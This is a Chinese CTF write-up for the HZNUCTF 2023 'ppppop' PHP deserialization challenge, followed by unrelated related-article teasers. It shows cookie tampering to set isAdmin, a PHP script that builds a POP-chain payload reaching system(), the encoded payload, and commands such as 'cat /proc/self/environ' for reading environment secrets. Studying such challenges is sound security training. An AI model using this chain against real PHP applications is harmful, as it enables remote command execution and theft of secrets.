(反序列化)[HZNUCTF 2023 preliminary]ppppop

news/2025/3/26 16:27:45/

打开是空页面

抓包发现cookies有东西

O:4:"User":1:{s:7:"isAdmin";b:0;}

将零改为1,放包得到题目页面

 <?php
error_reporting(0);
include('utils.php');class A {public $className;public $funcName;public $args;public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}if(checkUser()) {highlight_file(__FILE__);$payload = strrev(base64_decode($_POST['payload']));unserialize($payload);
}

编写payload

<?php
class A {public $className;public $funcName;public $args;
}class B {public function __call($func, $arg) {$func($arg[0]);}
}$a = new A();
$a->className = 'B';
$a->funcName = 'system';
$a->args = 'ls';echo $payload = urlencode(base64_encode(strrev(serialize($a))));
?>结果
fTsic2wiOjI6czsic2dyYSI6NDpzOyJtZXRzeXMiOjY6czsiZW1hTmNudWYiOjg6czsiQiI6MTpzOyJlbWFOc3NhbGMiOjk6c3s6MzoiQSI6MTpP

__call方法

strrev方法

反转字符

ls改成cat /proc/self/environ或者env即可


http://www.ppmy.cn/news/1270030.html

相关文章

jmeter判断’响应断言‘两个变量对象是否相等

1、首先需要设置变量&#xff0c;json、正则、csv文件等变量 2、然后在响应断言中 ①JMeter Variable Name to use —— 输入一个变量&#xff0c;变量名即可 ② 模式匹配规则 ——相等 ③测试模式 ——输入引用的变量命${变量名} &#xff08;注意这里是需要添加一个测试模式…

使用opencv将Mat图像resize成检测输入的letterbox类型

1.python代码 a.resize def my_letter_box(img, size(640, 640)): #h, w, c img.shaper min(size[0] / h, size[1] / w)new_h, new_w int(h * r), int(w * r)top int((size[0] - new_h) / 2)left int((size[1] - new_w) / 2)bottom size[0] - new_h - topright size[1…

智能优化算法应用:基于引力搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于引力搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于引力搜索算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.引力搜索算法4.实验参数设定5.算法结果6.…

vue中element-ui日期选择组件el-date-picker 清空所选时间,会将model绑定的值设置为null 问题 及 限制起止日期范围

一、问题 在Vue中使用Element UI的日期选择组件 <el-date-picker>&#xff0c;当你清空所选时间时&#xff0c;组件会将绑定的 v-model 值设置为 null。这是日期选择器的预设行为&#xff0c;它将清空所选日期后将其视为 null。但有时后端不允许日期传空。 因此&#xff…

【通俗易懂】基于fabric8io操作k8s集群实战(pod、deployment、service、volume)

目录 前言一、基于fabric8io操作pod1.1 yaml创建pod1.2 fabric8io创建pod案例 二、基于fabric8io创建Service&#xff08;含Deployment&#xff09;2.1 yaml创建Service和Deployment2.2 fabric8io创建service案例 三、基于fabric8io操作Volume3.1 yaml配置挂载存储卷3.2 基于fa…

代码随想Day37 | 738.单调递增的数字

738.单调递增的数字 这道题思路很巧妙&#xff0c;例如98&#xff0c;一旦出现strNum[i - 1] > strNum[i]的情况&#xff08;非单调递增&#xff09;&#xff0c;首先想让strNum[i - 1]减一&#xff0c;strNum[i]赋值9&#xff0c;这样这个整数就是89。就可以很自然想到对应…

Java实现pdf文件合并

在maven项目中引入以下依赖包 <dependencies><dependency><groupId>org.apache.pdfbox</groupId><artifactId>pdfbox-examples</artifactId><version>3.0.1</version></dependency><dependency><groupId>co…

<url-pattern>/</url-pattern>与<url-pattern>/*</url-pattern>的区别

<url-pattern>/</url-pattern> servlet的url-pattern设置为/时&#xff0c; 它仅替换servlet容器的默认内置servlet&#xff0c;用于处理所有与其他注册的servlet不匹配的请求。直白点说就是&#xff0c;所有静态资源&#xff08;js&#xff0c;css&#xff0c;ima…